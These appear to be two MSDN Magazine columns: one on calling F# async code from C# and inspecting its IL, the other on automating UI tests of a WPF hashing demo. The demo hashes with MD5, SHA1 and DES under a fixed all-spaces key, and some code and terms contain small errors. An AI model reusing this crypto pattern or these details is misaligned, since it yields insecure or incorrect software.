Developers working on the Web site must manage to achieve both thread safety and good performance. Simply locking every method in order to serialize access through the entire system is not a good solution because it will not scale. Properly managing concurrency, especially as the application scales up, is no easy feat; it keeps even senior developers up late at night. Even with the release of new tools like PEX (research.microsoft.com/projects/pex) and CHESS (research.microsoft.com/projects/chess) to perform static code analysis and execute unit testing permutations to uncover multithreading bugs, you are still required to control concurrency yourself, and at a fairly low level, using either C# "lock" statements or the various concurrency-control classes from System.Threading.
Are you up to the challenge? How good are your concurrency skills? Quick, what's the difference between System.Threading.Monitor, System.Threading.Mutex, and System.Threading.Semaphore?
Here you should begin to see the value of a particular language choice. Perhaps this kind of complex code would be simpler to write and maintain if you chose a functional language like F#, whose general tendencies towards immutability and zero side effects will prevent the need for explicit concurrency control, or a domain-specific language written in Ruby, which was designed to hide the concurrency details from the developers using it.
To make this idea more concrete, imagine that a Web application needs to do some traditionally synchronous operation, such as performing some file-based I/O (or making a database or Web service call). Normally, the easiest thing to do from C# code will be to open the file via a traditional using statement, read the contents, store them to a byte array, then close the file, in a fashion similar to this:
byte[] pixels = null
BinaryReader br =
         new BinaryReader(new FileStream(filename, FileMode.Open)); pixels = br.ReadBytes(4096);
It may be simple, but it's also horribly serialized. No additional processing can happen on this thread while the file I/O operation is taking place. (For one simple file I/O operation, this is probably not a major concern, at least not until the number of these operations gets really large, which might happen as the site tries to scale up.) It would be better to read said file using the asynchronous operations available via the CLR thread pool, as you see in Figure 1.
Figure 1 Read File Asynchronously
delegate byte[] AsyncOpenMethod(string filename);
static byte[] AsyncOpen(string filename)
{
    byte[] pixels = null;
    using (BinaryReader br =
        new BinaryReader(new FileStream(filename, FileMode.Open)))
    {
        Pixels = br.ReadBytes(4096);
    }
}
static void AsyncOpenTheFile(string filename)
{
    byte[] pixels = null;
    AsyncOpenMethod aom = new AsyncOpenMethod(Class1.AsyncOpen);
    IAsyncResult iar = aom.BeginInvoke(filename, null, null);
    while (iar.IsCompleted == false)
    {
        // Do something?
    }
    pixels = aom.EndInvoke(iar);
}
But the code that was simple before is now code that only a developer's mother could love, and clearly deals with much more than merely reading a file. Now examine what writing a similar routine in F# would look like:
async {
use inStream = File.OpenRead(filename)
let! pixels = inStream.AsyncRead(4096)
}
I don't want to dive too deeply into how the F# code does this, but the let! expression tells the F# compiler to generate the expression as an asynchronous expression, and the AsyncRead method is one that F# silently tacks on to the standard System.IO.Stream-derived classes through an F# language feature called extension methods. It effectively reads the file asynchronously and dumps the results into the byte array on the left-hand side of the expression, all without any further code required from the developer.
Let's put this into a real-world context. As part of a nightly maintenance cycle, a Web service must make copies of a number of files for easier storage offline for backup purposes. The F# code to perform this file copy, all completely asynchronously, looks like Figure 2.
Figure 2 Make Backup Copies
#light

open System.IO

let CopyFileAsync filename =
    async {
        use inStream = File.OpenRead(filename)
        let! pixels = inStream.AsyncRead(4096)
        use outStream = File.OpenWrite(filename + ".back")
        do! outStream.AsyncWrite(pixels)
    }

let tasks = [ for i in 1 .. 10 -> CopyFileAsync("data" + i.ToString()) ]
let taskResults = Async.Run (Async.Parallel tasks)
Here, both the read and write will be performed asynchronously, and the entire collection of 10 tasks (one for each data file) will also be processed asynchronously. When you consider what this would take to do in C#, which would you rather write? (Chance Coble goes into vastly more detail about F# and asynchronous programming in "Easy Async: Build Concurrent Apps from Simple F# Expressions" in the October 2008 issue of MSDN Magazine.

Polyglot in Practice
In practice, interoperating between F# and C# (or any other CLR language) is relatively straightforward, once the "shape" of the code (what the language turns into at the IL level) in both languages is well understood. On the surface this seems pretty easy—after all, how different can a method call be between two languages, given that the common language specification (CLS) dictates a lot of the otherwise-awkward issues, such as parameter placement, basic types, and byte ordering?
Let's put that to the test. Taking some simple F# code to start with, let's compile it and turn it into a DLL and use ILDasm (the intermediate language disassembler, or Reflector, whichever tool you feel more comfortable with) to examine what it looks like. You can then graduate to more complicated F# expressions, such as the async workflow code Chance Coble presented in his October 2008 article, which I mentioned earlier.
To begin with, take some simple F# code
let x = 2
If we assume it lives in the default "F# Library" project file called Module1.fs, the IL in Figure 3 (with a few things commented out to keep the IL listing brief) will be generated for it.
Figure 3 The IL behind Let x=2
.assembly Library1
{
  .custom instance void [FSharp.Core]Microsoft.FSharp.Core.
  FSharpInterfaceDataVersionAttribute::.ctor(int32, int32,
  int32) = ( 01 00 01 00 00 00 09 00 00 00 06 00 00 00 00 00 )

  // ...
}

.class public abstract auto ansi sealed beforefieldinit Module1
       extends [mscorlib]System.Object
{
  .custom instance void [FSharp.Core]Microsoft.FSharp.Core.
  CompilationMappingAttribute::.ctor(valuetype [FSharp.Core]Microsoft.
  FSharp.Core.SourceConstructFlags) = ( 01 00 07 00 00 00 00 00 )

  .method public static int32  get_x() cil managed
  {
    // Code size       6 (0x6)
    .maxstack  4
    IL_0000:  ldsfld     int32 '<StartupCode$Library1>'.$Module1::x@3
    IL_0005:  ret
  } // end of method Module1::get_x

  .method private specialname rtspecialname static
          void  .cctor() cil managed
  {
    // Code size       13 (0xd)
    .maxstack  3
    IL_0000:  ldc.i4.0
    IL_0001:  stsfld     native int '<StartupCode$Library1>'.$Module1::_init
    IL_0006:  ldsfld     native int '<StartupCode$Library1>'.$Module1::_init
    IL_000b:  pop
    IL_000c:  ret
  } // end of method Module1::.cctor

  .property int32 x()
  {
    .custom instance void [FSharp.Core]Microsoft.FSharp.Core.
    CompilationMappingAttribute::.ctor(valuetype [FSharp.Core]Microsoft.
    FSharp.Core.SourceConstructFlags) = ( 01 00 09 00 00 00 00 00 )
    .get int32 Module1::get_x()
  } // end of property Module1::x
} // end of class Module1

.class private abstract auto ansi sealed beforefieldinit
    '<StartupCode$Library1>'.$Module1
       extends [mscorlib]System.Object
{
  .field static assembly native int _init
  .custom instance void [mscorlib]System.Runtime.CompilerServices.
   CompilerGeneratedAttribute::.ctor() = ( 01 00 00 00 )
  .field static assembly initonly int32 x@3
  .method private specialname rtspecialname static
          void  .cctor() cil managed
  {
    // Code size       8 (0x8)
    .maxstack  3
    IL_0000:  nop
    IL_0001:  ldc.i4.2
    IL_0002:  stsfld     int32 '<StartupCode$Library1>'.$Module1::x@3
    IL_0007:  ret
  } // end of method $Module1::.cctor

} // end of class '<StartupCode$Library1>'.$Module1
If you trace the code through the IL, you notice two things; first, that the name "x" from the F# code is bound at the CLS level as a static property of a class called Module1, and second, that its initial value of 2 is not bound as a constant, but is initialized when the assembly is loaded, via the type constructor (.cctor) of the compiler-generated StartupCode$Library1 class. In other words, whereas you might be tempted to think of x as a constant value that the compiler can inline, the compiler chooses to present it as a static property.
This means, then, that accessing this binding, x, will require C# code something like the following:
namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("F#'s x = {0}", Module1.x);
        }
    }
}
So far, so good. But x is a pretty simple binding, and as such, you would expect it to be a simple matter of accessing it. Something a bit more complicated could present some trickier problems, so let's do something just a touch more complicated to make sure the mapping of F# to CLS still makes sense.
For the F# code
let add a b = a + b
the compiler generates the additional IL into the "Module1" class in the compiled F# DLL:
.method public static int32  'add'(int32 a,
                                   int32 b) cil managed
{﻿
  // Code size       5 (0x5)
  .maxstack  4
  IL_0000:  nop
  IL_0001:  ldarg.0
  IL_0002:  ldarg.1
  IL_0003:  add
  IL_0004:  ret
} // end of method Module1::'add'
This is almost precisely what the C# version of the function would look like, so there's not a lot that needs to be explained here. Calling it is also trivial.
But one of F#'s strengths is that it treats functions as first-class values, and this becomes more apparent (and more difficult) when you start building functions that take functions as arguments, such as the following equivalent of the built-in F# library map function, which takes as arguments a list, along with a function to apply to each element of the list, and returns a new list containing the results:
let mymap (l : 'a list) (f : 'a -> 'b) = List.map f l
This is a particularly "functional" way of processing a list: rather than iterating through it item-by-item, a functional language takes a function as a parameter and applies it to each element in the list, generating either a single result (called a "fold" operation) or a new list containing the results of each (our "map").
Notice in Figure 4 how this turns into a rather complex bit of IL after compilation. Again, the fact that it maps to a public static method on the class Module1 is not surprising; what will make this difficult to interact with from C#, however, is that the static method takes F# lists (meaning, type-parameterized instances of Microsoft.FSharp.Collections.List) as input and return types, along with a function (meaning, an instance of a dually-type-parameterized instance of Microsoft.FSharp.Core.FastFunc) as the second input.
Figure 4 The IL for the Mapping Function
.method public static class [FSharp.Core]Microsoft.FSharp.Collections.
       List'1<!!B>
          mymap<A,B>(class [FSharp.Core]Microsoft.FSharp.Collections.
              List'1<!!A> l, class [FSharp.Core]Microsoft.FSharp.Core.
                         FastFunc'2<!!A,!!B> f)
          cil managed
  {
    // Code size       11 (0xb)
    .maxstack  4
    IL_0000:  nop
    IL_0001:  ldarg.1
    IL_0002:  ldarg.0
    IL_0003:  tail.
    IL_0005:  call       class [FSharp.Core]Microsoft.FSharp.Collections.
       List'1<!!1>
       [FSharp.Core]Microsoft.FSharp.Collections.
       ListModule::map<!!0,!!1>(class [FSharp.Core]Microsoft.
       FSharp.Core.FastFunc'2<!!0,!!1>,
       class [FSharp.Core]Microsoft.FSharp.Collections.List'1<!!0>)
    IL_000a:  ret
  } // end of method Module1::mymap
This is going to require some serious C# code to work correctly. For this example, I want some C# code to take a collection of integers, and convert them into their corresponding string forms. (The fact that I could do this easily enough from within C# is irrelevant here—I have to figure out how to do the simple things before I can tackle the complex.) To call this from C# means that several things are going to have to happen successfully: the input collection will need to be converted to an F# list type; the function applied to each element must be converted into an F# "FastFunc" instance; and the returned F# list will need to be converted into a type C# can use, or else used in its native F# form directly.
The C# code is going to need those F# types, and so the first step will be to add the appropriate F# assembly reference, in this case, FSharp.Core.dll. Constructing an F# list, however, is not like constructing a C# List—rather than passing in the C# collection via a constructor, F# assumes that lists are built up using the "cons" operator, which is a static method on the F# List<> class. In other words, the F# code
let l1 = [1; 2; 3;]
turns into the rather ugly IL shown in Figure 5.
Figure 5 Let l1 = [1; 2; 3;]
  IL_0000:  ldc.i4.1
  IL_0001:  ldc.i4.2
  IL_0002:  ldc.i4.3
  IL_0003:  call       class [FSharp.Core]Microsoft.FSharp.Collections.
List'1<!0> class [FSharp.Core]Microsoft.FSharp.Collections.
List'1<int32>::get_uniq_Empty()
  IL_0008:  newobj     instance void class [FSharp.Core]Microsoft.FSharp.
Collections.List'1/_Cons<int32>::.ctor(!0,
              class [FSharp.Core]Microsoft.FSharp.Collections.List'1<!0>)
  IL_000d:  newobj     instance void class [FSharp.Core]Microsoft.FSharp.
Collections.List'1/_Cons<int32>::.ctor(!0,
              class [FSharp.Core]Microsoft.FSharp.Collections.List'1<!0>)
  IL_0012:  newobj     instance void class [FSharp.Core]Microsoft.FSharp.
Collections.List'1/_Cons<int32>::.ctor(!0,
              class [FSharp.Core]Microsoft.FSharp.Collections.List'1<!0>)
This means that to convert a C# array into an F# list suitable for passing in to the mymap method, I have to repeatedly call the static Cons method on List, passing in the new head each time; note that because the item added goes to the head of the list, to keep the F# list in the same order as the C# array, I have to start at the end of the array and work backward:
int[] scores = {1, 2, 3, 4, 5};

var fs_scores = Microsoft.FSharp.Collections.List<int>.get_uniq_Empty();
for (int i = scores.Length-1; i >= 0; i--)
{
  fs_scores = Microsoft.FSharp.Collections.List<int>.Cons(scores[i],
                                                          fs_scores);
}
Already this is becoming something of a pain. Obtaining an instance of F#'s FastFunc type is even more tedious because the FastFunc type, like the core System.Delegate type, isn't really intended to be instantiated by programmers, but instead handled by the F# compiler. Ordinarily, when constructing an instance of this in F# code, the compiler actually generates an inner class that inherits from FastFunc, something you could do from C#, but that would require a lot more work.
Suddenly calling into this F# function seems like way too much work for the benefit derived.
What all of this serves to illustrate is that the mapping of a language to its underlying platform is crucial to deciding where and how to use languages in a polyglot manner. Something that is trivial to do inside of F#, for example, can turn out to be difficult to do directly from C#. This doesn't mean giving up on the idea of polyglotism, it just means you must carefully choose which languages you use together and for what purposes. From a more positive perspective, consider, one of the examples from Chance's October article with additional code at the bottom (see Figure 6)
Figure 6 The Original Code Plus Modifications
open System
open System.IO
open Microsoft.FSharp.Control.CommonExtensions

#nowarn "057"
let aCountSpace filename size =
  async {
     let space = Convert.ToByte ' '
     use stream = File.OpenRead (filename)
     let bytes = Array.create size space
     let! nbytes = stream.ReadAsync (bytes,0,size)
     let count =
       bytes
       |> Array.fold_left (fun acc x -> if (x=space) then acc + 1 else acc) 0
     return count
  }

let aCounted (files : FileInfo array) =
    files
    |> Array.map (fun f -> aCountSpace (f.FullName) (int f.Length))
    |> Async.Parallel
    |> Async.Run
Note that I've modified it slightly. However, the only modification I made here was to specify the "files" argument in the "aCounted" method to be an array of FileInfo, something which was inferred by the F# compiler in Chance's original code. The IL signature for "aCounted" now looks like
.method public static int32[] aCounted(class [mscorlib]System.IO.FileInfo[] files) cil managed
which makes it pretty trivial to call from C#, as in:
int[] fileCounts =
  Mo﻿dule1.aCounted(new DirectoryInfo(@"C:\Projects\Test").GetFiles("*.txt"));
foreach (var ct in fileCounts)
{
    Console.WriteLine("Count = {0}", ct);
}
Yet this new version, as simple as it is to call, retains the full asynchronous execution capability that Chance discussed back in October.
Note that the use of C# here is purely arbitrary, based entirely on the fact that I feel more comfortable in C# than in Visual Basic or C++/CLI; having said that, it shouldn't be difficult to see how the same code would look in either of those languages.

The Cost behind the Choices
There's always a cost to taking a polyglot approach, of course. The first major headache is pretty obvious to see, since we've already run into it—developers who want to make use of different languages on a project must understand how those languages map to the underlying platform—and subsequently to each other. This means that simply relying on the compiler to make things right will no longer work.
Developers will need to see how the compiler maps the language constructs to the underlying platform (in this case, the CLR), and how other languages will pick up those constructs. The good news here derives from the fact that languages don't change much over time, even for languages that have seen some pretty radical shifts over the last decade, such as C# or Visual Basic, so once you've learned some of the language mappings, this information remains relatively constant.
The second problem derives from the first—debugging a polyglot program can be more difficult than debugging a monoglot one, owing simply to the fact that now the developer must speak two (or more) languages, rather than just the one. In the case of the code I've presented, for example, debugging will require setting a breakpoint in the C# code and stepping through, potentially into the F# code and back again. In many respects, this is nothing new—F# is just one more language on to the list of languages you need to know.
In some development shops, the developers working on the C# code simply trust (either by declaration or through faith in unit tests) that the F# code works as advertised, and step over rather than step into the F# code, just as many Visual Basic and C# developers do when stepping through code that calls into unmanaged C or C++ libraries.
In future columns, I'll look at other ways that polyglot approaches make programming easier, and at other languages and their benefits to the polyglot programmer.
Send your questions and comments for Ted to polyglot@microsoft.com.

Ted Neward is a Principal Consultant with ThoughtWorks, an international consultancy specializing in reliable, agile enterprise systems. He has written numerous books, is a Microsoft MVP Architect, INETA speaker, and PluralSight instructor. Reach Ted at ted@tedneward.com, or read his blog at blogs.tedneward.com.


Test Run
Automating UI Tests In WPF Applications
James McCaffrey
Code download available from the MSDN Code Gallery
Browse the Code Online

Contents
The WPF Application Under Test
The UI Test Automation
Final Words
In this month's column, I show you how to write UI test automation for Windows Presentation Foundation (WPF) applications. WPF applications use a new graphics subsystem, and most traditional UI test automation techniques simply don't work with WPF apps. Luckily, the Microsoft UI Automation (MUIA) library was designed with WPF application UI automation in mind. You can also use the Microsoft UI Automation library to test classic Win32 applications and WinForm-based .NET applications on host machines running operating systems that support the Microsoft .NET 3.0 Framework.
Compared with older alternatives to UI automation, the Microsoft UI Automation library is more powerful and more consistent, and after an initial learning curve, you'll find it is much easier to use. This column assumes you have some basic familiarity with WPF applications, intermediate level C# skills, but no experience with the MUIA library.
A good way to show you where I'm headed is with a screenshot. The image in Figure 1 shows that I am testing a simple but representative WPF application. The application is called CryptoCalc, and it computes a cryptographic hash of an input string using one of three hashing techniques: MD5 hashing, SHA1 hashing, or DES encryption.
Figure 1 WPF Application UI Automation
The MD5 (Message Digest 5)﻿ hashing technique accepts an arbitrarily sized array of bytes and returns a 16-byte fingerprint that can then be used for various identification purposes. The SHA1 (Secure Hash Algorithm 1) hashing technique is similar to MD5, except that SHA1 uses a different algorithm and returns a 20-byte fingerprint. The DES (Digital Encryption Standard) is a symmetric key encryption technique that can also be used to produce an identifying byte array. DES crypto-hashing returns a byte array that is at least as large as the number of input bytes.
The UI test automation shown in Figure 1 is run through a console application that launches the application under test; uses the Microsoft UI Automation library to obtain references to the application and user controls on the app; and simulates a user entering "Hello!", selecting the DES Encrypt option, and clicking on the Compute button control. The test automation then checks the resulting state of the application under test by examining the result text box control for an expected value and prints a pass or fail result. I captured the screen shot in Figure 1 just before the test automation closed the application under test by simulating user clicks on the File and then Exit menu items.
In the sections of this column that follow, I will briefly describe the CryptoCalc WPF application I am testing, explain how to launch the application under test, how to use the Microsoft UI Automation library to get references to the application and user controls, how to simulate user actions, and how to check application state. I'll also describe how you can extend and modify the test system presented here to meet your own needs. I think you'll find the ability to use the Microsoft UI Automation library to test WPF applications a neat addition to your personal tool set.

The WPF Application Under Test
Let's take a brief look at the WPF application under test so that you'll understand the goal of the test automation and understand the design issues that affect UI test automation. The CryptoCalc application is a simple, single-window user application that computes a cryptographic hash of a string. The application accepts a user-supplied string of up to 24 characters in a TextBox control, converts the input string into an array of bytes, computes one of three types of crypto-hashes of the input bytes, and displays the resulting hashed bytes in a second TextBox control.
I designed the app under test using Visual Studio 2008 with C# and named the Project CryptoCalc. The WPF template generates a skeleton application UI definition as a XAML file:
<Window x:Class="CryptoCalc.Window1"
  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  Title="Window1" Height="300" Width="300">
  <Grid></Grid>
</Window>
Notice that the top-level Window control definition does not contain a Name attribute. This is significant because, as we'll see shortly, when you write test automation, an easy way to get a reference to a control using the MUIA library is to access the AutomationId property, which is generated by the compiler from the control's Name attribute. Controls without a XAML Name attribute will not receive an AutomationId property. This idea is a specific, low-level example of the importance of considering application design issues for things such as security, extensibility, and test automation.
Next, I added a Label control and a TextBox control by dragging items from the Visual Studio Toolbox onto the design surface:
<Label Height="28" HorizontalAlignment="Left"
 Margin="10,33,0,0" Name="label1" VerticalAlignment="Top"
 Width="120">Enter string:</Label>
<TextBox MaxLength="24" Height="23" Margin="10,57,51,0"
 Name="textBox1" VerticalAlignment="Top" />
Notice that by default, these controls do receive normal Name attributes—label1 and textBox1, respectively. Next, I placed three RadioButton controls inside a GroupBox control. Unlike the old WinForms GroupBox control, a WPF GroupBox accepts only a single item, so I wrapped my three RadioButton controls into a single StackPanel container (which can contain multiple items):
<GroupBox Header="Crypto Type" Margin="10,91,118,127"
 Name="groupBox1">
<StackPanel Height="52" Name="stackPanel1" Width="127">
 <RadioButton Height="16" Name="radioButton1" Width="120">
  MD5 Hash</RadioButton>
 <RadioButton Height="16" Name="radioButton2" Width="120">
  SHA1 Hash</RadioButton>
 <RadioButton Height="16" Name="radioButton3" Width="120">
  DES Encrypt</RadioButton>
</StackPanel>
</GroupBox>
Next, I placed a Button control to trigger the crypto-hash computation and a TextBox control to hold the result onto the main Window control:
<Button Height="23" Margin="10,0,0,90" Name="button1"
 VerticalAlignment="Bottom" Click="button1_Click"
 HorizontalAlignment="Left" Width="89">Compute</Button>
<TextBox Height="63" Margin="10,0,51,13" Name="textBox2"
 VerticalAlignment="Bottom" TextWrapping="Wrap" />
One of the features I really like about WPF applications is the new Menu control paradigm, which, unlike WinForm menu items, treats menus and submenus as ordinary user controls. First, I dragged a main Menu container control to the top part of the CryptoCalc application:
<Menu Height="22" Name="menu1"
    VerticalAlignment="Top" IsMainMenu="True" >
  </Menu>
Visual Studio 2008 does not support a drag-and-drop design for child MenuItem controls, so I added my menu items to the XAML definition file manually by adding a top-level File menu item:
<MenuItem Header="_File">
    <MenuItem Header="_New" Name="fileNew" />
  <MenuItem Header="_Open" Name="fileOpen" />
  <Separator />
  <MenuItem Header="E_xit" Name="fileExit"
    InputGestureText="Alt-F4" ToolTip="Exit CryptoCalc"
    Click="OnFileExit" />
</MenuItem>
WPF design supports the usual accelerator key syntax, such as _File. The <Separator /> tag is clean and easy. The ToolTip attribute will generate code that displays a short help message when the user mouses over the associated MenuItem control. When compiled, the Click OnFileExit attribute will generate C# code that expects an event handler with this signature:
public void OnFileExit(object sender, RoutedEventArgs e) {
  //...
}
So, after I added the regular application logic code to the CryptoCalc app, I manually added the event handler and then supplied functionality by placing this.Close into the method body. Notice that the New and Open menu item controls do not have any associated events at this time. I did this to point out that UI test automation often takes place during development when many application features are incomplete. The top-level Help control design follows the same pattern as the File control:
<MenuItem Header="_Help">
 <MenuItem Header="Help Topics" />
 <Separator />
 <MenuItem Header="About CryptoCalc" />
</MenuItem>
The Menu container and MenuItem control definitions will generate C# code that in turn produces the user interface shown in the screenshot in Figure 2. With the UI design done, I switched over to code view. Then I added two using statements to the using statements generated by Visual Studio in the file Window1.xaml.cs so that I could access crypto classes and methods without fully qualifying their names:
using System.Security.Cryptography;
using System.IO;
Figure 2 WPF App File Menu
The main functionality of the simple CryptoCalc application is contained in the button1_Click method and is listed in Figure 3. My code first grabs the text in the textBox1 control and converts that text to a byte array. Note that to keep the size of my example code short, I omit the normal error-checking you'd perform in a production environment.
Figure 3 StatCalc Application Code
private void button1_Click(object sender, RoutedEventArgs e)
{
  string input = textBox1.Text;
  byte[] inputBytes = Encoding.UTF8.GetBytes(input);

  if (radioButton1.IsChecked == true) {
    MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
    byte[] hashedBytes = md5.ComputeHash(inputBytes);
    textBox2.Text = BitConverter.ToString(hashedBytes);
  }
  else if (radioButton2.IsChecked == true) {
    SHA1CryptoServiceProvider sha = new SHA1CryptoServiceProvider();
    byte[] hashedBytes = sha.ComputeHash(inputBytes);
    textBox2.Text = BitConverter.ToString(hashedBytes);
  }
  else if (radioButton3.IsChecked == true) {
    DESCryptoServiceProvider des = new DESCryptoServiceProvider();
    byte[] blanks = System.Text.Encoding.UTF8.GetBytes("        "); // 8 spaces
    des.Key = blanks;
    des.IV = blanks;
    des.Padding = PaddingMode.Zeros;
    MemoryStream ms = new MemoryStream();
    CryptoStream cs =
      new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
    cs.Write(inputBytes, 0, inputBytes.Length);
    cs.Close();
    byte[] encryptedBytes = ms.ToArray();
    ms.Close();
    textBox2.Text = BitConverter.ToString(encryptedBytes);
  }
}
The application logic branches depending on which RadioButton control is selected. Interestingly, because the IsChecked property returns type ?bool (nullable Boolean), I had to explicitly check the property for equality against true. The code for MD5 and SHA1 hashing should be self-explanatory.
The DES encryption algorithm requires a 64-bit key. Because I am using DES for hashing rather than encoding and decoding, I use a dummy key generated by 8 space characters. When using symmetric key encryption for hashing purposes, I usually use a null key of { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, but the DESCryptoServiceProvider object flags this as a known weak key and throws an exception. I use the same blank-space byte array to supply a value for the so-called initialization vector.
DES encryption works on blocks of 8 bytes; therefore, I specify PaddingMode.Zeros so that any input will be padded with zeros to bring the size of the input up to an even multiple of 8 bytes. Note that you would not use PaddingMode.Zeros for encoding and decoding because padding with zeros does not allow you to decrypt (the decryption algorithm cannot determine which zeros in the cipher-text are padding and which are part of the original plain-text).

The UI Test Automation
When writing test automation using the Microsoft UI Automation library, you need to know how to identify the controls on the application under test. A good way to do this is to use the UISpy tool. For those who don't know, UISpy is the WPF equivalent of the old Spy++ tool and allows you to examine properties of the UI components of a WPF application. The UISpy tool is part of the Microsoft Windows SDK and is available as a free download from microsoft.com/downloads.
The screenshot in Figure 4 shows the result of targeting the Button control on the CryptoCalc application. From a test automation perspective, the important fields for identifying application controls are the ControlType (ControlType.Edit in this case), AutomationId (button1), and Name (Compute) values. The important field for manipulating application controls is the ControlPatterns list (Invoke).
Figure 4 Examining Controls with UISpy
Manually testing even this tiny CryptoCalc application through its user interface would be boring, error-prone, time-consuming, and inefficient. You would have to enter an input, click the Compute button control, visually verify the answer, and manually record the pass/fail result. A much better approach is to use the Microsoft UI Automation library to write test automation that simulates a user exercising the application and then determines whether the application responded correctly. By automating tedious test cases, you can free up time for more interesting and useful manual test cases in which your experience and intuition play a big role.
The overall structure of the test harness that produced the output shown in Figure 1 is listed in Figure 5. I launched Visual Studio 2008 and created a new console application program. I used C#, but you should be able to easily convert my test automation code to Visual Basic .NET if you want to. Next, I added Project References to the UIAutomationClient.dll and UIAutomationTypes.dll libraries. These libraries are part of the .NET Framework 3.0 but are not visible by default to a Visual Studio project. The libraries are typically located in the C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0 directory. Note that the UIAutomationClient.dll library contains the key classes needed for test automation. The UIAutomationTypes.dll library contains various type definitions used by MUIA test automation.
Figure 5 UI Test Automation Code Structure
using System;
using System.Diagnostics;
using System.Threading;
using System.Windows.Automation;

namespace Harness {
  class Program {
    static void Main(string[] args) {
      try {
        Console.WriteLine("\nBegin WPF UIAutomation test run\n");
        // launch CryptoCalc application
        // get reference to main Window control
        // get references to user controls
        // manipulate application
        // check resulting state and determine pass/fail
        Console.WriteLine("\nEnd automation\n");
      }
      catch (Exception ex) {
        Console.WriteLine("Fatal: " + ex.Message);
      }
    } // Main()
  } // class
} // ns
For convenience, I add using statements that point to the System.Diagnostics namespace (so I can easily use the Process class), and to the System.Threading namespace (so I can easily use the Thread.Sleep() method). As usual with any test automation, I wrap my harness with a top-level try-catch block to handle any fatal errors. My test automation code begins by launching the application under test:
Console.WriteLine("Launching CryptoCalc application");
Process p = null;
p = Process.Start("..\\..\\..\\CryptoCalc\\bin\\Debug\\CryptoCalc.exe");
Now, before I attempt any test automation, I need to verify that the process associated with the CryptoCalc application under test is registered on the host machine. Although I could pause my test harness by simply inserting a Thread.Sleep statement, I have no good way of knowing how long to pause. A better approach is to use a smart delay-loop:
int ct = 0;
do {
  Console.WriteLine("Looking for CryptoCalc process. . . ");
  ++ct;
  Thread.Sleep(100);
} while (p == null && ct < 50);
Here I pause for 100 milliseconds each time through the delay loop. The harness exits the delay loop if the process object becomes non-null, meaning the process has been found, or if the loop has executed 50 times. Figure 6 shows how I can determine if the delay loop timed-out or the AUT process was found.
Figure 6 Determining What Happened
if (p == null)
  throw new Exception("Failed to find CryptoCalc process");
else
  Console.WriteLine("Found CryptoCalc process");

// Next I fetch a reference to the host machine's Desktop as an
// AutomationElement object:

Console.WriteLine("\nGetting Desktop");
AutomationElement aeDesktop = null;
aeDesktop = AutomationElement.RootElement;
if (aeDesktop == null)
  throw new Exception("Unable to get Desktop");
else
  Console.WriteLine("Found Desktop\n");
You can think of all the controls of the WPF application under test as children of the main application Window control. The main Window is a child of the overall Desktop, so I need a reference to the Desktop in order to get a reference to the application. Now I use the FindFirst method to attach to the application under test:
AutomationElement aeCryptoCalc = null;
int numWaits = 0;
do {
  Console.WriteLine("Looking for CryptoCalc main window. . . ");
  aeCryptoCalc = aeDesktop.FindFirst(TreeScope.Children,
    new PropertyCondition(AutomationElement.NameProperty, "CryptoCalc"));
  ++numWaits;
  Thread.Sleep(200);
} while (aeCryptoCalc == null && numWaits < 50);
I use the smart delay-loop technique instead of the arbitrarily long Sleep technique. The FindFirst method is used when the control you are looking for is a single control. FindFirst accepts two arguments. The first is a scope value. The three most common scope types used in test automation are TreeScope.Children, TreeScope.Descendants, and TreeScope.Parent. Because the CryptoCalc application is a direct child of the Desktop, I use the TreeScope.Children scope.
The second argument to FindFirst is an object that represents information that identifies the control you are looking for. Here I specify that I am looking for a control that has a Name property with value "CryptoCalc". I could also have used the AutomationId property, as I'll describe shortly. Now I verify that I do indeed have a reference to the main application Window control:
if (aeCryptoCalc == null)
  throw new Exception("Failed to find CryptoCalc main window");
else
  Console.WriteLine("Found CryptoCalc main window");
Once I have the application, I can use its reference to obtain references to all the user controls that the test automation will manipulate or examine. I start by grabbing the Button control:
Console.WriteLine("\nGetting all user controls");
AutomationElement aeButton = null;
aeButton = aeCryptoCalc.FindFirst(TreeScope.Children,
  new PropertyCondition(AutomationElement.NameProperty, "Compute"));
if (aeButton == null)
  throw new Exception("No compute button");
else
  Console.WriteLine("Got Compute button");
I use the same pattern that I used to get a reference to the main Window; here the Button control is a direct child of the main Window application control. Because the Button control is a static control, I do not need to use the delay-loop technique before accessing the reference to the control. In the case of dynamic controls, you should use the delay-loop technique.
Next, I want to get references to the two TextBox controls. Even though the two TextBox controls have names textBox1 and textBox2, the controls do not receive Name properties, so I cannot use the same NameProperty pattern that I used for the Button control. However, the TextBox controls do receive an AutomationId property that I could use to get a reference to the controls, such as:
aeTextBox1 = aeCryptoCalc.FindFirst(TreeScope.Children,
  new PropertyCondition(AutomationElement.AutomationIdProperty, "textBox1"));
Instead, I decided to use a different approach, mostly for demonstration purposes. Rather than identify a single control using the control's name property, I use the FindAll method to fetch a collection of controls by control type. It turns out that TextBox controls are ControlType.Edit types, so my code grabs all TextBox controls:
AutomationElementCollection aeAllTextBoxes = null;
aeAllTextBoxes = aeCryptoCalc.FindAll(TreeScope.Children,
  new PropertyCondition(AutomationElement.ControlTypeProperty,
  ControlType.Edit));
if (aeAllTextBoxes == null)
  throw new Exception("No textboxes collection");
else
  Console.WriteLine("Got textboxes collection");
Once I have this collection I can access each TextBox using array indexing:
AutomationElement aeTextBox1 = null;
AutomationElement aeTextBox2 = null;
aeTextBox1 = aeAllTextBoxes[0];
aeTextBox2 = aeAllTextBoxes[1];
if (aeTextBox1 == null || aeTextBox2 == null)
  throw new Exception("TextBox1 or TextBox2 not found");
else
  Console.WriteLine("Got TextBox1 and TextBox2");
In general, obtaining control references by using the Name property or the AutomationId property is a better approach than using ControlType, but in some scenarios you may have no choice. Next, I get a reference to the RadioButton control I want to use in my test scenario:
AutomationElement aeRadioButton3 = null;
aeRadioButton3 = aeCryptoCalc.FindFirst(TreeScope.Descendants,
  new PropertyCondition(AutomationElement.NameProperty,
   "DES Encrypt"));
if (aeRadioButton3 == null)
  throw new Exception("No RadioButton");
else
  Console.WriteLine("Got RadioButton3");
